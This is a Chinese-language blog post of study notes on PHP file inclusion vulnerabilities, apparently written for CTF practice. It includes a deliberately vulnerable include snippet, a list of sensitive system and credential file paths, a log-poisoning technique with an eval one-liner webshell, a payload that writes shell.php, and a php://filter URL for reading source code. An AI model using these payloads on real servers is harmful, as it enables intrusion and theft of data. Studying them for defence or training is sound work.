• 文件包含漏洞小记


    文件包含函数

      include  调用文件用的函数

      require

    <?php
        echo'<meta http-equiv="Content-Type" content="text/html;charset=gb2312" />';
        // include '1.txt';
        // $a = $_GET['page'];
        $a = "$_GET[page]";
        // echo $a;
        include $a;
    ?>

    include 调用a ,这里可以给a传入任意文件,这个文件有可能传入的是木马文件,能传入任意文件就是文件包含漏洞

    远程文件包含

        要求php.ini中的  allow_url_include=on 

    例如:127.0.0.1/cs/main.php?page=http://www.baidu.com/index.html 文件main.php 中page 传入的是百度

    常见的敏感文件

    unix/linux 系统中

      /etc/passwd----------里面一般存放的是用户的一些数据

      /usr/local/app/apache2/conf/httpd.conf----------------里面存放的apache2 默认的配置文件

      /usr/local/app/apache2/conf/extra/httpd-vhosts.conf----------里面存放虚拟网站设置

      /usr/local/app/php5/lib/php.ini--------------------里面存放PHP相关的设置

      /etc/httpd/conf/httpd.conf---------------------里面存放apache的配置文件

      /etc/my.cnf-------------------里面存放mysql 的配置文件

    windows系统

      C:oot.ini----------------里面可查看系统版本

      C:windowssysten32inetsrvMetaBase.xml-----------------里面是IIS配置文件

      C:windows epairsam--------------------------存储windows 系统初次安装的密码

      C:Program Filesmysqlmy.ini--------------------里面存放mysql配置

      C:Program Filesmysqldatamysqluser.MYD-----------------里面存放mysql root

      C:windowsphp.ini-------------------------php配置信息

      C:windowsmy.ini-------------------存放mysql配置文件

    常见的敏感文件----flag

      1. 根目录下存在flag文件
       C://flag.txt
      2. passwd文件存在flag
      /etc/passwd
      3. Web根目录下存在 flag文件
      4. 当前页面下存在flag文件
      5. apache/php/mysql配置文件下存在flag文件
      利用phpinfo()函数来获取路径
    包含日志文件getshell

      在页面访问http://127.0.0.1/<?php eval($_POST[111])?> 为了避免在web中被url编码 我们在burpsuite中植入

    这也我们的一句话木马就会被带进日志文件,只要满足allow_url_include=on我们就可以通过文件包含漏洞在本地远程传递服务器的日志文件为参

    数从而解析我们植入的一句话木马来拿到shell(必须要知道日志文件的绝对路径)

    远程文件包含写入一个shell

    <?php
    
        fputs(fopen('shell.php','w'),'<?php eval($_POST[1]);?>');
    
    ?>

     fopen()函数打开或者创建一个名为shell.php的文件,fputs()函数往shell.php文件里写入一句话木马

    我们把含有这段代码的文件传入给有文件包含漏洞的参数,它就会被执行,在当前目录下创建一个名为shell.php的一句话木马文件

     PHP封装协议读取文件

      http://10.1.2.5:17857/cs/main.php?page=php://filter/read=convert.base64-encode/resource=main.php  

      利用PHP协议去用base64j解读文件main.php,从而还原该文件的源码

  • 相关阅读:
    kubernetes集群系列资料08--deployment介绍
    kubernetes集群系列资料07--RS介绍
    kubernetes集群系列资料06--pod介绍
    kubernetes集群系列资料05--K8S集群命令介绍
    kubernetes集群系列资料04--harbor部署
    uwsgi + nginx 部署python项目(一)
    argparse命令行传参
    Flask的 sqlalchemy 操作要点
    mysql: show full processlist 详解
    MySQL数据库的连接池问题
  • 原文地址:https://www.cnblogs.com/Blizzard-player/p/8933012.html
Copyright © 2020-2023  润新知